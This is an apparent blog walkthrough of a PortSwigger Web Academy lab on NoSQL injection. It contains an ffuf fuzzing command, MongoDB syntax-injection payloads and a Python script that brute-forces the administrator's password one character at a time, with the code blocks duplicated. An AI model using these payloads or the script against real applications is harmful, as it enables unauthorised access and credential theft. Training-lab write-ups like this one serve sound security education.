September 29, 2023
PortSwigger Web Academy: Exploiting NoSQL Injection to Extract Data
Hello, World! This blog post will serve as a walkthrough of PortSwigger’s Web Academy new NoSQL Injections lab #3, “Exploiting NoSQL…

By Alex Rodriguez
3 min read
Hello, World! This blog post will serve as a walkthrough of PortSwigger's Web Academy new NoSQL Injections lab #3, "Exploiting NoSQL injection to extract data." Let's go for it!
Glossary
NoSQL Database — refers to a database that does not implement table-based storage mechanisms but instead leverages an alternative storage model such as key-value pairs, graphs, or documents. These NoSQL databases also don't use the standard SQL query language for CRUD operations.
Syntax Injection_ —_ an attack vector that breaks the NoSQL query and creates an opportunity to extend the query with your own payload (equivalent to standard SQL injection).
Operator Injection — an attack vector that leverages native NoSQL query language operators to manipulate the resulting operation performed on the backend NoSQL database.
MongoDB — the most popular NoSQL database that is a document-based database that uses a JSON-like object storage mechanism that allow complex data models and relationships.
Lab Walkthrough: Exploiting NoSQL injection to extract data
Objective
Extract the password for the administrator user using NoSQL injection! A user account with the following credentials is provided: wiener:peter.
Using the credentials provided by the lab, I logged into the application as the user wiener:
and viewed the corresponding HTTP POST request in Burp Suite. One particular request stood out to me which is a request being made to the /user/lookup endpoint which takes a query parameter called user:
I started by fuzzing the query parameter with a special characters list using ffuf and found that the \ and ' characters returned a response indicating an error occurred when submitting the request which means we have NoSQL syntax injection:
ffuf -u 'https://0a33003104f705d9805d71a600610004.web-security-academy.net/user/lookup?user=wienerFUZZ' \
-x http://localhost:8080 \
-H 'Cookie: session=7Q2nMnlORzcADJf3AgClKqe2QnW5qPk9' \
-w ~/SecLists/Fuzzing/special-chars.txt -cffuf -u 'https://0a33003104f705d9805d71a600610004.web-security-academy.net/user/lookup?user=wienerFUZZ' \
-x http://localhost:8080 \
-H 'Cookie: session=7Q2nMnlORzcADJf3AgClKqe2QnW5qPk9' \
-w ~/SecLists/Fuzzing/special-chars.txt -c
With this information, I tried several payloads to see if I can get the original response back and confirm we can inject our own NoSQL statements — the following payload worked (don't forget to URL encode!):
'wiener && 'a'=='a'wiener && 'a'=='a
Next, I proceeded by attempting to enumerate a value from the administrators password by using the following payload:
/user/lookup?user=administrator' && this.password[0] == 'x' || 'a'=='b/user/lookup?user=administrator' && this.password[0] == 'x' || 'a'=='band it worked for the character x in my case:
To optimize the Python script we'll need to write to enumerate all the other characters of the password, I used the <, >, and == operators to determine the length of the password. Using this logic I was able to confirm that the length of the password is 8:
/user/lookup?user=administrator' && this.password.length == 8 || 'a'=='b/user/lookup?user=administrator' && this.password.length == 8 || 'a'=='b
Here is the Python script I created to brute force the rest of the administrators password (don't forget to replace the cookie value!):
import requests
from string import ascii_lowercase
url = "https://0a33003104f705d9805d71a600610004.web-security-academy.net/user/lookup?user=administrator"
cookies = {"session": "7Q2nMnlORzcADJf3AgClKqe2QnW5qPk9"}
proxies = {"http": "http://localhost:8080", "https": "https://localhost:8080"}
def main() -> None:
password = ""
attempt = 0
while attempt < 8:
for c in ascii_lowercase:
payload = f"' && this.password[{attempt}] == '{c}' || 'a'=='b"
print(payload)
target_url = f"{url}{requests.utils.quote(payload)}"
# resp = requests.get(
# target_url, cookies=cookies, proxies=proxies, verify=False
# )
resp_json = requests.get(target_url, cookies=cookies).json()
try:
if resp_json["email"] == "admin@normal-user.net":
print(f"found next character: {c}")
password += c
attempt += 1
except KeyError:
continue
print(f"administrator password = {password}")
if __name__ == "__main__":
main()import requests
from string import ascii_lowercase
url = "https://0a33003104f705d9805d71a600610004.web-security-academy.net/user/lookup?user=administrator"
cookies = {"session": "7Q2nMnlORzcADJf3AgClKqe2QnW5qPk9"}
proxies = {"http": "http://localhost:8080", "https": "https://localhost:8080"}
def main() -> None:
password = ""
attempt = 0
while attempt < 8:
for c in ascii_lowercase:
payload = f"' && this.password[{attempt}] == '{c}' || 'a'=='b"
print(payload)
target_url = f"{url}{requests.utils.quote(payload)}"
# resp = requests.get(
# target_url, cookies=cookies, proxies=proxies, verify=False
# )
resp_json = requests.get(target_url, cookies=cookies).json()
try:
if resp_json["email"] == "admin@normal-user.net":
print(f"found next character: {c}")
password += c
attempt += 1
except KeyError:
continue
print(f"administrator password = {password}")
if __name__ == "__main__":
main()Worked like a charm:
I logged into the administrator account and solved the lab:
And there you have it — Happy Hacking!
EOF
If you enjoyed reading this article, follow me on Medium, for more cybersecurity/tech-related articles, and on GitHub, for more hands-on cybersecurity projects. Thank you for your time!
bin3xish477 - Overview Offensive Security Engineer @Amazon. Gopher, Pythonista. Gamer. Aspiring Principal Offensive Security Engineer. …
References